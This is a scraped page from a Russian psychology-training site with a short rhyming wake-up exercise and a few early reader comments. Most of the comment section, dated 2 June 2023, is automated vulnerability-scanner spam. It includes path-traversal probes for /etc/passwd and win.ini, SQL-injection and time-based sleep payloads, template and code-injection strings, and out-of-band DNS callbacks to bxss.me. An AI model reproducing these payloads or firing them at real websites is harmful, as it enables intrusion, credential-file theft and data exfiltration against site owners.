|
trepsy.net
|
психологические упражнения для тренингов
|
психологические упражнения для тренингов
комментариев:
201 | просмотров 16767 | 14.12.2012Физкультминутка «Одолела вас дремота»
Одолела вас дремота.
Шевельнуться неохота?
Ну-ка делайте со мною
Упражнение такое:
Вверх, вниз потянись,
Окончательно проснись.
(Встали, руки через стороны вверх – потянулись.)
Руки вытянуть пошире.
(Руки в стороны.)
Раз, два, три, четыре.
Наклониться – три, четыре –
(Наклоны.)
И на месте поскакать.
(Прыжки на месте.)
На носок, потом на пятку.
Все мы делаем зарядку. (Ходьба на месте.)
22.12.2012 полина орлова
супер но не под ритму
01.04.2013 Катюша
мне понравилось СуПеР!!!!!!!!!!!!!!!!!!!!!
08.11.2013 Марина
Не на вижу зарядку
20.11.2013 каон
классно
14.01.2015 ю джин
Зарядка мне понравилась
02.06.2023 aiPxvpay
555
02.06.2023 response.write(9279164*9488284)
555
02.06.2023 aiPxvpay
555
02.06.2023 "+response.write(9279164*9488284)+"
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
../555
02.06.2023 555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 ../../../../../../../../../../../../../../etc/passwd
555
02.06.2023 555
02.06.2023 ../../../../../../../../../../../../../../windows/win.ini
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 file:///etc/passwd
555
02.06.2023 aiPxvpay
555
02.06.2023 ../aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 alRBZnh4THU=
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
${9999907+10000417}
02.06.2023 ${9999164+10000321}
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
!(()&&!|*|*|
02.06.2023 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
^(#$!@#$)(()))******
02.06.2023 aiPxvpay
555
02.06.2023 )
555
02.06.2023 aiPxvpay
555
02.06.2023 ".gethostbyname(lc("hitys"."hkucceli9b46d.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(65).chr(111).chr(88)."
555
02.06.2023 !(()&&!|*|*|
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
02.06.2023 ^(#$!@#$)(()))******
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 Http://bxss.me/t/fit.txt
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 http://bxss.me/t/fit.txt?.jpg
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 /etc/shells
555
02.06.2023 aiPxvpay
555
02.06.2023 c:/windows/win.ini
555
02.06.2023 aiPxvpay
555
02.06.2023 bxss.me
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 ";print(md5(31337));$a="
555
02.06.2023 HttP://bxss.me/t/xss.html?%00
555
02.06.2023 "+"A".concat(70-3).concat(22*4).concat(118).concat(73).concat(105).concat(80)+(require"socket"
Socket.gethostbyname("hitrl"+"fstlauwe0723e.bxss.me.")[3].to_s)+"
555
02.06.2023 aiPxvpay
555
02.06.2023 ${@print(md5(31337))}
555
02.06.2023 bxss.me/t/xss.html?%00
555
02.06.2023 ${@print(md5(31337))}\
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 xfs.bxss.me
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 koment1.php
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 koment1.php
555
02.06.2023 aiPxvpay
5559102154
02.06.2023 koment1.php/.
555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay9563781
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay"&&sleep(27*1000)*wsfmca&&"
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay"||sleep(27*1000)*ahpyks||"
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
1*555
02.06.2023 aiPxvpay
555*762*757*0
02.06.2023 aiPxvpay
1*555
02.06.2023 aiPxvpay
555*258*253*0
02.06.2023 aiPxvpay
1*555
02.06.2023 aiPxvpay
555*811*806*0
02.06.2023 aiPxvpay
1*555
02.06.2023 aiPxvpay
555*122*117*0
02.06.2023 aiPxvpay
1А§Аў%2527%2522
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 6klufQ17
555
02.06.2023 -1 OR 2+18-18-1=0+0+0+1 --
555
02.06.2023 -1 OR 2+329-329-1=0+0+0+1
555
02.06.2023 1
555
02.06.2023 -1" OR 2+26-26-1=0+0+0+1 --
555
02.06.2023 if(now()=sysdate(),sleep(15),0)
555
02.06.2023 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
02.06.2023 1А§Аў%2527%2522
555
02.06.2023 @@a7JO0
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555
02.06.2023 aiPxvpay
555